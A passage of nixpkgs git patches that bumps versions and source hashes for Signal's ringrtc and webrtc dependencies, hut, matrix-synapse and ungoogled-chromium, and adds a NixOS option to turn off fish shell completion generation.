   pname = "ringrtc";
-  version = "2.52.0";
+  version = "2.53.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "ringrtc";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Ao1mFJYPnV3lfg4SERwq4dGnBhOVI9pwsqPAsUtV/iY=";
+    hash = "sha256-JxEeE5r/qQGfTBP0szpChRdPuUl4PMK1km84N/8Dozg=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-mO9t4ZDDM5Y9cMkmdrYrdGYukN1xfGogPSNq+S1t4Us=";
+  cargoHash = "sha256-qOBjSj1MErB0SajScicVPEn2pqAY+kWq7TS4Wiu4oxI=";
 
   cargoBuildFlags = [
     "-p"
diff --git a/pkgs/by-name/si/signal-desktop/webrtc-sources.json b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
index 7207ea4e2d9d..5896f815331f 100644
--- a/pkgs/by-name/si/signal-desktop/webrtc-sources.json
+++ b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
@@ -1,33 +1,33 @@
 {
     "src": {
         "args": {
-            "hash": "sha256-AFMJmIo7O4fYrVWABciQphTxHQSj4CdfhluIIPpPWAw=",
+            "hash": "sha256-laPkmf87ujO0dmQ6LqGSnvajeE2D0i5hL95RxN+SdNA=",
             "owner": "signalapp",
             "repo": "webrtc",
-            "tag": "6998c"
+            "tag": "7103d"
         },
         "fetcher": "fetchFromGitHub"
     },
     "src/base": {
         "args": {
-            "hash": "sha256-hglQbmk4pfkzhHPXPGPrjN60VfpEbCn3mbOkM1kcjhE=",
-            "rev": "e0914b7606a151a3a12e994c400519f2e291c53f",
+            "hash": "sha256-Jm+OJlnJJUrTtsAMWEB+DM7eLZyIMJa5jQysVsyHwfk=",
+            "rev": "1d80e43078965dbe6ded5521fbffb128f59124a6",
             "url": "https://chromium.googlesource.com/chromium/src/base"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/build": {
         "args": {
-            "hash": "sha256-f7sLdyVzuWsVMsH21tLBDPadEJPyzSWhk8f97P7Meko=",
-            "rev": "64e296c42a93fbd27acc9a94713e4289273409b2",
+            "hash": "sha256-4iM0mh+1AL1maBjle+GOmfr4AMadQpcNDQg0X5tVD5U=",
+            "rev": "52d62707eaec02b88722a99e335315d166ceda77",
             "url": "https://chromium.googlesource.com/chromium/src/build"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/buildtools": {
         "args": {
-            "hash": "sha256-w6CVjFp5hkRHscXF7qUJ/Ei9Nl7lqBcGnwHXmjrehHw=",
-            "rev": "a660247d3c14a172b74b8e832ba1066b30183c97",
+            "hash": "sha256-Nbaoin+aMtJJaC4mDTYFB7q3RbmzSuEUDDZN3tAXoSI=",
+            "rev": "6f359296daa889aa726f3d05046b9f37be241169",
             "url": "https://chromium.googlesource.com/chromium/src/buildtools"
         },
         "fetcher": "fetchFromGitiles"
@@ -43,40 +43,40 @@
     },
     "src/testing": {
         "args": {
-            "hash": "sha256-VQJ0hqEI2QIFPKZwLCAtUtKuPkJndvndtK4lGRiX20M=",
-            "rev": "63412fdcdfe281e6b9531a5e1086a59c0b9e6909",
+            "hash": "sha256-CZOMatu2JSB3fztVz8DvW87KtglBqq0hUYm3IM3pZwY=",
+            "rev": "f46b86c7f1fc7a7f52e61c11dbd0573a48cf7a6a",
             "url": "https://chromium.googlesource.com/chromium/src/testing"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party": {
         "args": {
-            "hash": "sha256-88mIRDQvFeCcwiLPt4cyFE/xfmEJ95xB93uUcRPe670=",
-            "rev": "d212a71416ad7c6ceca04d6d27dfdd84fd00c04c",
+            "hash": "sha256-BbFD3QSoHMHsy4d+Quz01Nta7nArhe8or9zsARmlc/U=",
+            "rev": "10064104c1f11074312018c3a9c4b66f25584bdd",
             "url": "https://chromium.googlesource.com/chromium/src/third_party"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/boringssl/src": {
         "args": {
-            "hash": "sha256-Mrv/aV7RjDLPVi0QN7p1qJ3M8zHWogcq+u2F+S1LoNE=",
-            "rev": "d4b6eb542d4fd109baacd550935efd00c521e674",
+            "hash": "sha256-fUPl9E2b7RfanH0pZNArIkJ4lnnmCtyk7sCaTArCB70=",
+            "rev": "a9993612faac4866bc33ca8ff37bfd0659af1c48",
             "url": "https://boringssl.googlesource.com/boringssl.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/breakpad/breakpad": {
         "args": {
-            "hash": "sha256-jOTRgF2WxsX5P0LgUI9zdCc0+NcqSnO310aq15msThY=",
-            "rev": "0dfd77492fdb0dcd06027c5842095e2e908adc90",
+            "hash": "sha256-9MePkv10fwyJ0VDWRtvRcbLMAcJzZlziGTPzXJYjVJE=",
+            "rev": "657a441e5c1a818d4c10b7bafd431454e6614901",
             "url": "https://chromium.googlesource.com/breakpad/breakpad.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/catapult": {
         "args": {
-            "hash": "sha256-XtQclu96NHJxt8kJCyp8iaJUkTI2bS+q6NRwvIgmhX8=",
-            "rev": "b15611f18b506cf9dbc03e9bf87dbc8df549ccce",
+            "hash": "sha256-xwR9gGE8uU8qFr7GgS3/1JiuTmj1tvcM5CoCfPMdW2M=",
+            "rev": "5bda0fdab9d93ec9963e2cd858c7b49ad7fec7d4",
             "url": "https://chromium.googlesource.com/catapult.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -115,24 +115,24 @@
     },
     "src/third_party/dav1d/libdav1d": {
         "args": {
-            "hash": "sha256-Ft71Ubirlpi7IJcNDFIfyZqmR2Xxv68PiEOfg7JhLuU=",
-            "rev": "edb16889d16f5e13161b6e8f7a839cd82d7d655d",
+            "hash": "sha256-+DY4p41VuAlx7NvOfXjWzgEhvtpebjkjbFwSYOzSjv4=",
+            "rev": "8d956180934f16244bdb58b39175824775125e55",
             "url": "https://chromium.googlesource.com/external/github.com/videolan/dav1d.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/depot_tools": {
         "args": {
-            "hash": "sha256-Qea35ZMbVtvdFPmge0ShrEW0p17Z1UJUGdBTaxaZ5gQ=",
-            "rev": "80d1969422e75e8e9eecafa46074074b289e2568",
+            "hash": "sha256-O9vVbrCqHD4w39Q8ZAxl1RwzJxbH/thjqacMtCnOPdg=",
+            "rev": "f40ddcd8d51626fb7be3ab3c418b3f3be801623f",
             "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/ffmpeg": {
         "args": {
-            "hash": "sha256-OXumpRb9XB38dOCJmL3jDcabiJ08wAvydVlJwMgpCoQ=",
-            "rev": "d10a0f8bf5ddcce572df95105152bc74041cae0c",
+            "hash": "sha256-bGa0BCvzNxEKu9VZEwJ1NLt+b2KKWUxshpKSN2FHNEM=",
+            "rev": "fbce2a76c00cd2e5aeffe3c2e71d44c284ec52d6",
             "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -155,16 +155,16 @@
     },
     "src/third_party/freetype/src": {
         "args": {
-            "hash": "sha256-wKzsJ5SXicsLXs0M2+usPz72gy8IsmQGTD3RGKYnhgo=",
-            "rev": "a059b237bb01eb3e4f9f8b1618dda8c117498bab",
+            "hash": "sha256-LhSIX7X0+dmLADYGNclg73kIrXmjTMM++tJ92MKzanA=",
+            "rev": "82090e67c24259c343c83fd9cefe6ff0be7a7eca",
             "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/fuzztest/src": {
         "args": {
-            "hash": "sha256-KjO8h5KS7/3vP8zRY2I09nIA/eJHKnmBuY8i8KU81KQ=",
-            "rev": "00edfa0dd94d7e00a89684e950015c30d3b7ae07",
+            "hash": "sha256-1pzRK+iorGhnLWWpuWdRjBCh0whKoDgEUhTTs2NlPZU=",
+            "rev": "3c7bc855a4938c5d0d1d07303aa0697c88d33e6c",
             "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -179,16 +179,16 @@
     },
     "src/third_party/googletest/src": {
         "args": {
-            "hash": "sha256-9hPtc5kLEaetJXqtcneXFOcC2z5AdkvWGYgKMSB+vbs=",
-            "rev": "2b6b042a77446ff322cd7522ca068d9f2a21c1d1",
+            "hash": "sha256-8keF4E6ag/rikv5ROaWUB7oganjViupEAdxW1NJVgmE=",
+            "rev": "52204f78f94d7512df1f0f3bea1d47437a2c3a58",
             "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/grpc/src": {
         "args": {
-            "hash": "sha256-RKGZWtH2JmP2mXN+4ln/nCJvOyzynrYcfrxSY8k1vVg=",
-            "rev": "a363b6c001139b9c8ffb7cd63f60a72f15349c3b",
+            "hash": "sha256-0ljptpIh4wirWZ+utJyiy4g4dhPRB8pIvjcvoqeycu0=",
+            "rev": "d8ce421830bd993885038934abdc74e1e56e3213",
             "url": "https://chromium.googlesource.com/external/github.com/grpc/grpc.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -203,24 +203,24 @@
     },
     "src/third_party/harfbuzz-ng/src": {
         "args": {
-            "hash": "sha256-TStJvz3Txn4cvU1tCPPZn6RLslvM+VNUqt8l8g67JN4=",
-            "rev": "1c249be96e27eafd15eb86d832b67fbc3751634b",
+            "hash": "sha256-/WNGrvyvJ+FGqoIoHapaux1iu63zjID0yR30HYPpxaw=",
+            "rev": "8efd2d85c78fbba6ca09a3e454f77525f3b296ce",
             "url": "https://chromium.googlesource.com/external/github.com/harfbuzz/harfbuzz.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/icu": {
         "args": {
-            "hash": "sha256-O9qrAt8lwNBg5LCVz+SfTe48uJx8onVYwn0LRXIhUvY=",
-            "rev": "bbccc2f6efc1b825de5f2c903c48be685cd0cf22",
+            "hash": "sha256-Omv4sp9z44eINXtaE0+1TzIU1q2hWviANA79fmkF78U=",
+            "rev": "c9fb4b3a6fb54aa8c20a03bbcaa0a4a985ffd34b",
             "url": "https://chromium.googlesource.com/chromium/deps/icu.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/instrumented_libs": {
         "args": {
-            "hash": "sha256-7w5wMcmPcKLS91buxyRdcgaQjbKGFdmrKClvYVO3iko=",
-            "rev": "3cc43119a29158bcde39d288a8def4b8ec49baf8",
+            "hash": "sha256-8kokdsnn5jD9KgM/6g0NuITBbKkGXWEM4BMr1nCrfdU=",
+            "rev": "69015643b3f68dbd438c010439c59adc52cac808",
             "url": "https://chromium.googlesource.com/chromium/third_party/instrumented_libraries.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -243,32 +243,32 @@
     },
     "src/third_party/libaom/source/libaom": {
         "args": {
-            "hash": "sha256-oceORERaQDEQkssZwiWGOtAsbuI0YeOciwb9FgtFuHw=",
-            "rev": "d737ca3ebe92feec465876a8fc98950cecd08fd8",
+            "hash": "sha256-nfnt5JXyKR9JR3BflpGEkwzDo0lYa/oeCDm2bKH/j1g=",
+            "rev": "9680f2b1781fb33b9eeb52409b75c679c8a954be",
             "url": "https://aomedia.googlesource.com/aom.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/libc++/src": {
         "args": {
-            "hash": "sha256-QxEbtsEKCs2Xgulq7nVWtAeOGkIYFOy/L1ROfXa5u8U=",
-            "rev": "2e25154d49c29fa9aa42c30ad4a027bd30123434",
+            "hash": "sha256-Ypi5fmWdoNA1IZDoKITlkNRITmho8HzVlgjlmtx0Y84=",
+            "rev": "449310fe2e37834a7e62972d2a690cade2ef596b",
             "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/libc++abi/src": {
         "args": {
-            "hash": "sha256-RIPejJnlQE5S8ss3WijR4uLVC+yRL9Ba0vslQeJFNiE=",
-            "rev": "8205ccf0f23545ebcd8846363ea1d29e77917a22",
+            "hash": "sha256-wMMfj3E2AQJxovoSEIuT2uTyrcGBurS1HrHZOmP36+g=",
+            "rev": "94c5d7a8edc09f0680aee57548c0b5d400c2840d",
             "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/libjpeg_turbo": {
         "args": {
-            "hash": "sha256-qgHXAjCDFxQ+QqJ8pSmI1NUvHvKKTi4MkIe1I/+hUAI=",
-            "rev": "927aabfcd26897abb9776ecf2a6c38ea5bb52ab6",
+            "hash": "sha256-Ig+tmprZDvlf/M72/DTar2pbxat9ZElgSqdXdoM0lPs=",
+            "rev": "e14cbfaa85529d47f9f55b0f104a579c1061f9ad",
             "url": "https://chromium.googlesource.com/chromium/deps/libjpeg_turbo.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -283,88 +283,88 @@
     },
     "src/third_party/libunwind/src": {
         "args": {
-            "hash": "sha256-JazjgI+ch9RgnsDgu6p4cT4UmCBor4x4sRi1ClLISAY=",
-            "rev": "e55d8cf51c6db1fdd4bb56c158945ec59772c8ee",
+            "hash": "sha256-LdRaxPo2i7uMeFxpR7R4o3V+1ycBcygT/D+gklsD0tA=",
+            "rev": "e2e6f2a67e9420e770b014ce9bba476fa2ab9874",
             "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/libvpx/source/libvpx": {
         "args": {
-            "hash": "sha256-8/Ttkc1ZLQ9WvQf+0/BW9zlmWvlyGDujELyLDqNmQxI=",
-            "rev": "7a65480684b1b28bb9defae164bf0dc78b32653e",
+            "hash": "sha256-+4I6B1aTa+txhey6LMeflU0pe39V6TJ+lNIJPh6yFGM=",
+            "rev": "027bbee30a0103b99d86327b48d29567fed11688",
             "url": "https://chromium.googlesource.com/webm/libvpx.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/libyuv": {
         "args": {
-            "hash": "sha256-hHwJLMI/leUm8RjkBsSQn/GaNU8Aan1yllGnXvdfG78=",
-            "rev": "10592b60c0b2c33210b7752454253dc2625b4305",
+            "hash": "sha256-8sH11psWPXLMy3Q0tAizCZ/woUWvTCCUf44jcr2C4Xs=",
+            "rev": "ccdf870348764e4b77fa3b56accb2a896a901bad",
             "url": "https://chromium.googlesource.com/libyuv/libyuv.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/llvm-libc/src": {
         "args": {
-            "hash": "sha256-OtNt+IRn2AFRTKvrA+c9AD+mbfBD37K2S9PXk3UI99A=",
-            "rev": "12809bfa855813dcef51871e2ee3155e53ed35ea",
+            "hash": "sha256-sV1wqk8BC7cl7HPgAd+kmxOWpBuWT6kTX91IXIoSYts=",
+            "rev": "188329a7f2118a957efbb3e6219c255e7dba997c",
             "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/lss": {
         "args": {
-            "hash": "sha256-hE8uZf9Fst66qJkoVYChiB8G41ie+k9M4X0W+5JUSdw=",
-            "rev": "ce877209e11aa69dcfffbd53ef90ea1d07136521",
+            "hash": "sha256-rhp4EcZYdgSfu9cqn+zxxGx6v2IW8uX8V+iA0UfZhFY=",
+            "rev": "ed31caa60f20a4f6569883b2d752ef7522de51e0",
             "url": "https://chromium.googlesource.com/linux-syscall-support.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/nasm": {
         "args": {
-            "hash": "sha256-SiRXHsUlWXtH6dbDjDjqNAm105ibEB3jOfNtQAM4CaY=",
-            "rev": "f477acb1049f5e043904b87b825c5915084a9a29",
+            "hash": "sha256-yg4qwhS68B/sWfcJeXUqPC69ppE8FaIyRc+IkUQXSnU=",
+            "rev": "767a169c8811b090df222a458b25dfa137fc637e",
             "url": "https://chromium.googlesource.com/chromium/deps/nasm.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/openh264/src": {
         "args": {
-            "hash": "sha256-S7dS2IZwt4p4ZrF6K7E5HnwKuI3owU2I7vwtu95uTkE=",
-            "rev": "478e5ab3eca30e600006d5a0a08b176fd34d3bd1",
+            "hash": "sha256-tf0lnxATCkoq+xRti6gK6J47HwioAYWnpEsLGSA5Xdg=",
+            "rev": "652bdb7719f30b52b08e506645a7322ff1b2cc6f",
             "url": "https://chromium.googlesource.com/external/github.com/cisco/openh264"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/perfetto": {
         "args": {
-            "hash": "sha256-ogrB+n5F4UnmL3nHJRyMFOLYVUvjirT9BClg20mTZkc=",
-            "rev": "a0c2bc7919f7467cf4a8287c8389c3f96a3fcbac",
+            "hash": "sha256-peD4Vnar1Uf8S/JYPpHH8dJZCDIpzpE4EYDfTqVyG8U=",
+            "rev": "40b529923598b739b2892a536a7692eedbed5685",
             "url": "https://android.googlesource.com/platform/external/perfetto.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/protobuf-javascript/src": {
         "args": {
-            "hash": "sha256-TmP6xftUVTD7yML7UEM/DB8bcsL5RFlKPyCpcboD86U=",
-            "rev": "e34549db516f8712f678fcd4bc411613b5cc5295",
+            "hash": "sha256-zq86SrDASl6aYPFPijRZp03hJqXUFz2Al/KkiNq7i0M=",
+            "rev": "eb785a9363664a402b6336dfe96aad27fb33ffa8",
             "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/re2/src": {
         "args": {
-            "hash": "sha256-IeANwJlJl45yf8iu/AZNDoiyIvTCZIeK1b74sdCfAIc=",
-            "rev": "6dcd83d60f7944926bfd308cc13979fc53dd69ca",
+            "hash": "sha256-f/k2rloV2Nwb0KuJGUX4SijFxAx69EXcsXOG4vo+Kis=",
+            "rev": "c84a140c93352cdabbfb547c531be34515b12228",
             "url": "https://chromium.googlesource.com/external/github.com/google/re2.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/tools": {
         "args": {
-            "hash": "sha256-C3bzAAJp8OpKAHhM54P/sTBVFf3K6ffxvrpfKKxLRII=",
-            "rev": "6820cc03cc8a4b1fb99747f30e8249d138a70981",
+            "hash": "sha256-Vmhd5kfPaOyPJaDSg67V64FSgi4maEVjXE4PMnxnIFw=",
+            "rev": "3460fbcdee33353d37800dad5caa6bba327ad8c8",
             "url": "https://chromium.googlesource.com/chromium/src/tools"
         },
         "fetcher": "fetchFromGitiles"
diff --git a/pkgs/by-name/si/signal-desktop/webrtc.nix b/pkgs/by-name/si/signal-desktop/webrtc.nix
index ee4b81b0a7e4..26c387438f6b 100644
--- a/pkgs/by-name/si/signal-desktop/webrtc.nix
+++ b/pkgs/by-name/si/signal-desktop/webrtc.nix
@@ -10,6 +10,7 @@
   pulseaudio,
   writeShellScriptBin,
   gclient2nix,
+  rustc,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
@@ -26,6 +27,7 @@ stdenv.mkDerivation (finalAttrs: {
       exec python3 "$@"
     '')
     python3
+    rustc
     pkg-config
     gclient2nix.gclientUnpackHook
   ];
@@ -70,6 +72,8 @@ stdenv.mkDerivation (finalAttrs: {
     "symbol_level=1"
     "rtc_include_tests=false"
     "rtc_enable_protobuf=false"
+
+    ''rust_sysroot_absolute="${rustc}"''
   ];
   ninjaFlags = [ "webrtc" ];
 

From 959296b1bfe6bd11142a27f048572d923cb81083 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 20 Jun 2025 01:02:43 +0000
Subject: [PATCH 1319/4511] hut: 0.6.0 -> 0.7.0

(cherry picked from commit effa0caffa20d3ed8a41cc99a7ec4578b0530680)
---
 pkgs/by-name/hu/hut/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/hu/hut/package.nix b/pkgs/by-name/hu/hut/package.nix
index 232964381647..8193b5dde78f 100644
--- a/pkgs/by-name/hu/hut/package.nix
+++ b/pkgs/by-name/hu/hut/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "hut";
-  version = "0.6.0";
+  version = "0.7.0";
 
   src = fetchFromSourcehut {
     owner = "~xenrox";
     repo = "hut";
     rev = "v${version}";
-    sha256 = "sha256-wfnuGnO1aiK0D8P5nMCqD38DJ3RpcsK//02KaE5SkZE=";
+    sha256 = "sha256-pc6E3ORDmaMhoNe8GQeYZrxhe5ySQqsMPe/iUbclnGk=";
   };
 
-  vendorHash = "sha256-6dIqcjtacxlmadnPzRlOJYoyOaO4zdjzrjO64KS2Bq0=";
+  vendorHash = "sha256-/51cv/EvcBCyCOf91vJ5M75p0bkAQqVoRUp+C+i70Os=";
 
   nativeBuildInputs = [
     scdoc

From b87669928674be674c2d67dfd0c496fc8eb745c2 Mon Sep 17 00:00:00 2001
From: Nick Cao <nickcao@nichi.co>
Date: Wed, 18 Jun 2025 19:13:39 -0400
Subject: [PATCH 1320/4511] matrix-synapse: 1.131.0 -> 1.132.0

Diff: https://github.com/element-hq/synapse/compare/v1.131.0...v1.132.0

Changelog: https://github.com/element-hq/synapse/releases/tag/v1.132.0
(cherry picked from commit 83ef4fc3871086eb93bebd10adcf2a7cdd3c3f97)
---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index ab54f87cef24..2d39df6708fd 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -17,14 +17,14 @@ let
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "matrix-synapse";
-  version = "1.131.0";
+  version = "1.132.0";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "synapse";
     rev = "v${version}";
-    hash = "sha256-nXDVkuV5GCk0Lp4LfyiModKdO30PJ40B5mXdm5tMHQo=";
+    hash = "sha256-yKoBYwd2djHAawBJRcbdrJH16+MHpYQnU7h39SvWqYE=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {

From 6d11baba5e768bf1b6a5e72d1865958a961804f0 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Sat, 21 Jun 2025 01:02:27 +0200
Subject: [PATCH 1321/4511] ungoogled-chromium: 137.0.7151.103-1 ->
 137.0.7151.119-1

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop_17.html

This update includes 3 security fixes.

CVEs:
CVE-2025-6191 CVE-2025-6192

(cherry picked from commit c5db303485f55347e9a3ae4d7f8b3d89d49d974f)
---
 .../networking/browsers/chromium/info.json     | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 5e25fbd81c59..ae3334e23ce0 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -797,7 +797,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "137.0.7151.103",
+    "version": "137.0.7151.119",
     "deps": {
       "depot_tools": {
         "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
@@ -808,16 +808,16 @@
         "hash": "sha256-+nKP2hBUKIqdNfDz1vGggXSdCuttOt0GwyGUQ3Z1ZHI="
       },
       "ungoogled-patches": {
-        "rev": "137.0.7151.103-1",
-        "hash": "sha256-KMzO25yruwrT7rpqbQ56FMGxkVZOwDSsvFqCZbUUM5Y="
+        "rev": "137.0.7151.119-1",
+        "hash": "sha256-SMEe/Wc4cjaZfw4pQIWeblEvB9CmOJWVNkDvCKAow3Q="
       },
       "npmHash": "sha256-I6MsfAhrLRmgiRJ13LSejfy2N63C3Oug5tOOXA622j4="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "3dcc738117a3439068c9773ccd31f9858923fc4a",
-        "hash": "sha256-MIEjHLpfKIBiTFh+bO+NUf6iDpizTP9yfXQqbHfiDwo=",
+        "rev": "e0ac9d12dff5f2d33c935958b06bf1ded7f1c08c",
+        "hash": "sha256-+3C2n/7bbIOpXGvBrFnSMNlgLVRMoPtOF14CDROVClI=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -1037,8 +1037,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "e423961606946be24c8c1ec0d1ec91511efbabc5",
-        "hash": "sha256-MhooXuF6aw+ixPzvVCBl+6T+79cTReCYx86qqXAZ6bg="
+        "rev": "afc8e923a37090445d6d97ca23fea49d9eb7b9cf",
+        "hash": "sha256-io0J6tt0RXumjjSklZyJpALV5IikPbROd40xcrX4iBs="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1587,8 +1587,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "41f53aba7095888c959932bd8f2ee8b4e16af223",
-        "hash": "sha256-ICrdvHA6fe2CUphRgPdlofazr0L+NFypWDNOI5e5QIM="
+        "rev": "075234cf3d7622d9d588a6f748fc4501aa23080c",
+        "hash": "sha256-wrLxRuJ3rq1yC0PIUGPsuDB/YNee1x3J/i6ZSLk70HM="
       }
     }
   }

From c56758023976f42d01e1def13be1d060e448dee9 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 20 Jun 2025 13:08:22 +0800
Subject: [PATCH 1322/4511] nixos/fish: allow disabling completion generation

(cherry picked from commit 3045cecacf56bad446baf2d4125f938c35f15059)
---
 nixos/modules/programs/fish.nix | 40 ++++++++++++++++++++-------------
 1 file changed, 24 insertions(+), 16 deletions(-)

diff --git a/nixos/modules/programs/fish.nix b/nixos/modules/programs/fish.nix
index b4431aba8797..38700fa387b4 100644
--- a/nixos/modules/programs/fish.nix
+++ b/nixos/modules/programs/fish.nix
@@ -72,6 +72,11 @@ in
         '';
       };
 
+      generateCompletions = lib.mkEnableOption "generating completion files from man pages" // {
+        default = true;
+        example = false;
+      };
+
       vendor.config.enable = lib.mkOption {
         type = lib.types.bool;
         default = true;
@@ -247,7 +252,7 @@ in
         '';
       }
 
-      {
+      (lib.mkIf cfg.generateCompletions {
         etc."fish/generated_completions".source =
           let
             patchedGenerator = pkgs.stdenv.mkDerivation {
@@ -297,7 +302,7 @@ in
             ignoreCollisions = true;
             paths = builtins.map generateCompletions config.environment.systemPackages;
           };
-      }
+      })
 
       # include programs that bring their own completions
       {
@@ -318,20 +323,23 @@ in
       }
     ];
 
-    programs.fish.interactiveShellInit = ''
-      # add completions generated by NixOS to $fish_complete_path
-      begin
-        # joins with null byte to accommodate all characters in paths, then respectively gets all paths before (exclusive) / after (inclusive) the first one including "generated_completions",
-        # splits by null byte, and then removes all empty lines produced by using 'string'
-        set -l prev (string join0 $fish_complete_path | string match --regex "^.*?(?=\x00[^\x00]*generated_completions.*)" | string split0 | string match -er ".")
-        set -l post (string join0 $fish_complete_path | string match --regex "[^\x00]*generated_completions.*" | string split0 | string match -er ".")
-        set fish_complete_path $prev "/etc/fish/generated_completions" $post
-      end
-      # prevent fish from generating completions on first run
-      if not test -d $__fish_user_data_dir/generated_completions
-        ${pkgs.coreutils}/bin/mkdir $__fish_user_data_dir/generated_completions
-      end
-    '';
+    programs.fish.interactiveShellInit =
+      lib.optionalString cfg.generateCompletions ''
+        # add completions generated by NixOS to $fish_complete_path
+        begin
+          # joins with null byte to accommodate all characters in paths, then respectively gets all paths before (exclusive) / after (inclusive) the first one including "generated_completions",
+          # splits by null byte, and then removes all empty lines produced by using 'string'
+          set -l prev (string join0 $fish_complete_path | string match --regex "^.*?(?=\x00[^\x00]*generated_completions.*)" | string split0 | string match -er ".")
+          set -l post (string join0 $fish_complete_path | string match --regex "[^\x00]*generated_completions.*" | string split0 | string match -er ".")
+          set fish_complete_path $prev "/etc/fish/generated_completions" $post
+        end
+      ''
+      + ''
+        # prevent fish from generating completions on first run
+        if not test -d $__fish_user_data_dir/generated_completions
+          ${pkgs.coreutils}/bin/mkdir $__fish_user_data_dir/generated_completions
+        end
+      '';
 
   };
   meta.maintainers = with lib.maintainers; [ sigmasquadron ];

From b41bf4567ab73ec73c99d0bc297a3b219b95f6a6 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 20 Jun 2025 14:11:15 +0800
Subject: [PATCH 1323/4511] nixos/profiles/minimal: don't generate fish
 completions

(cherry picked from commit dbf39b7ddb142eed801ec0aabcd155d28a3fd458)
---
 nixos/modules/profiles/minimal.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nixos/modules/profiles/minimal.nix b/nixos/modules/profiles/minimal.nix
index f4b0ea0668a6..ddeca9601e66 100644
--- a/nixos/modules/profiles/minimal.nix
+++ b/nixos/modules/profiles/minimal.nix
@@ -27,6 +27,7 @@ in
     # The lessopen package pulls in Perl.
     less.lessopen = mkDefault null;
     command-not-found.enable = mkDefault false;
+    fish.generateCompletions = mkDefault false;
   };
 
   # This pulls in nixos-containers which depends on Perl.

From e1d0c8d9efb096fa69d37db020a719430661abf8 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Fri, 20 Jun 2025 15:25:20 -0400
